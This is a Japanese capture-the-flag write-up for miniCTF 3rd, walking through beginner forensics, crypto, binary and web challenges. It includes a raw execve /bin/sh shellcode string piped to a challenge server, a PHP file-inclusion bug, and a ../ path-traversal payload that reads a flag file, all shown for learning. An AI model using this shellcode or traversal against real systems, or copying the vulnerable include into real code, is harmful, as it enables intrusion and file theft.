miniCTF 3rd write-up
Posted in write-up -ソロでチーム"helix"として参加した。1001 点を獲得し、順位は 9 位だった。
00 Welcome
自明
NITAC{sup3r_dup3r_sc0re_serv3r}
01 signature
signature
ファイルの中身を確認する。
$ file signature
signature: ELF (Tru64), unknown class 13
$ xxd signature | head
00000000: 7f45 4c46 0d0a 1a0a 0000 000d 4948 4452 .ELF........IHDR
00000010: 0000 0423 0000 021d 0806 0000 0007 efb7 ...#............
00000020: 2f00 0000 0473 4249 5408 0808 087c 0864 /....sBIT....|.d
00000030: 8800 0000 1974 4558 7453 6f66 7477 6172 .....tEXtSoftwar
00000040: 6500 676e 6f6d 652d 7363 7265 656e 7368 e.gnome-screensh
00000050: 6f74 ef03 bf3e 0000 1c96 4944 4154 789c ot...>....IDATx.
00000060: eddd 39b2 eb46 8205 5042 f1b7 2347 a6ca ..9..F..PB..#G..
00000070: d652 2ab4 2679 b595 72e4 7d4b 0ba8 4db4 .R*.&y..r.}K..M.
00000080: cf36 a427 bd91 c490 7973 3a27 a28c 16fa .6.'....ys:'....
00000090: f381 891c 2f13 c0f6 cb2f bfdc 6f00 0000 ..../..../..o...
識別子はELF
だがIHDR
やIDAT
の文字からpngっぽいということで7f45 4c46
を8950 4e47
に変えるとフラグが手に入る。
NITAC{dr4win9}
02 shellcode
shellcode
ファイルの中身を確認する。
$ file shellcode
shellcode: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3658bbbb3a87143505daa8ebe8bc00220aa93cc1, not stripped
問題名から察したのでhttp://shell-storm.orgからx86-64
用のシェルコードを適当に探して投げてみる。
$ (echo -e "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";cat) | nc <url>
I will execute your code instead of you. Give me machine code bytes: ls
flag.txt
redir.sh
shellcode
cat flag.txt
NITAC{I_g4ve_up_cr0ss_comp1ling}
フラグが手に入る。
NITAC{I_g4ve_up_cr0ss_comp1ling}
03 wrong copy
program
ファイルの中身を確認する。
$ file program
program: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=007c9b3494e08ccacaf16692de872fe3b817ae26, for GNU/Linux 3.2.0, not stripped
とりあえずstrings
をかけてみる。
$ strings program
... (省略)
u+UH
NITAC{c0H
py_15_d1H
ff1cul7}
[]A\A]A^A_
... (省略)
それっぽい文字列が見つかるがH
が途中に混ざっているので除去するとフラグが手に入る。
NITAC{c0py_15_d1ff1cul7}
08 base64
encoded.txt
ファイルの中身を確認する。
$ cat encoded.txt
TklUQUN7RE9fWU9VX0tOT1dfQkFTRTY0P30K
問題文に従って、デコードする。
$ cat encoded.txt | base64 -d
NITAC{DO_YOU_KNOW_BASE64?}
フラグが得られる。
NITAC{DO_YOU_KNOW_BASE64?}
12 flower
暗号化スクリプトencrypt.py
と、ファイルflower.png
、enc_flower.png
が渡される。
encrypt.py
を確認する。
import cv2
import numpy as np
img = cv2.imread('flower.png')
flag = ''.join([bin(ord(x))[2:].zfill(8) for x in list(input("input flag: "))])
flag += '0' * (img.shape[0] * img.shape[1] * img.shape[2] - len(flag))
print(flag)
print(len(flag))
enc_img = []
cnt = 0
for i in img:
img_line = []
for j in i:
r, g, b = [[y for y in list(bin(x)[2:])] for x in j]
r[-1] = flag[cnt]
g[-1] = flag[cnt + 1]
b[-1] = flag[cnt + 2]
cnt += 3
img_line.append([int(x, 2) for x in [''.join(r), ''.join(g), ''.join(b)]])
enc_img.append(img_line)
cv2.imwrite('enc_flower.png', np.array(enc_img))
面倒くさかったので、脳死で復号スクリプトを書いた。
import cv2
img = cv2.imread('enc_flower.png')
flag = []
for i in img:
for j in i:
r, g, b = [[y for y in list(bin(x)[2:])] for x in j]
flag.append(r[-1])
flag.append(g[-1])
flag.append(b[-1])
for i in range(0, len(flag), 8):
print(chr(int(''.join(flag[i:i+8]), 2)), end='')
実行するとフラグが手に入る。
$ python decrypt.py | less
NITAC{LSB_full_search}^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
lines 1-1/1 (END)
NITAC{LSB_full_search}
15 Teacher's Server
フラグがbase32
で暗号化されているとのことなので、Network1.pcapng
をstrings
にかけてみる
$ strings Network1.pcapng
... (省略)
Date: Sat, 28 Dec 2019 07:20:42 GMT
Connection: keep-alive
flag: JZEVIQKDPNEVGQKPL5EVGX2NIFKEQRKNIFKESQ2JIFHH2===
Counters provided by dumpcap
いかにもな文字列を見つけたのでデコードする。
$ echo JZEVIQKDPNEVGQKPL5EVGX2NIFKEQRKNIFKESQ2JIFHH2=== | base32 -d
NITAC{ISAO_IS_MATHEMATICIAN}
フラグが手に入る。
17 Admin Portal 1
Webサイトのソースが渡される。サイトには登録のためのリンクがないが、ソースを読むとregister.php
で受け付けていることがわかるので適当に登録する。その後、サイトからログインするとフラグが表示されている。
NITAC{00f_r3g1str4t10n_st1ll_w0rks}
18 Admin Portal 2
ソースを更に読むと、index.php
に以下のようなコードがあることに気づく。
<?php include("templates/" . $_GET['lang']); ?>
このコードを利用するとlang
パラメータの変更で好きなファイルを読むことができる。また問題文より、フラグは/flag2.txt
に存在することがわかっている。
そこでlang
パラメータに適当な値を入力していくと、../../../../flag2.txt
でフラグを手に入れることができた。
NITAC{n0w_u_kn0w_h0w_LFI_w0rks}
JWT auth
メモを取り忘れたので省略。
総括
自明問題しか解けていないように感じた。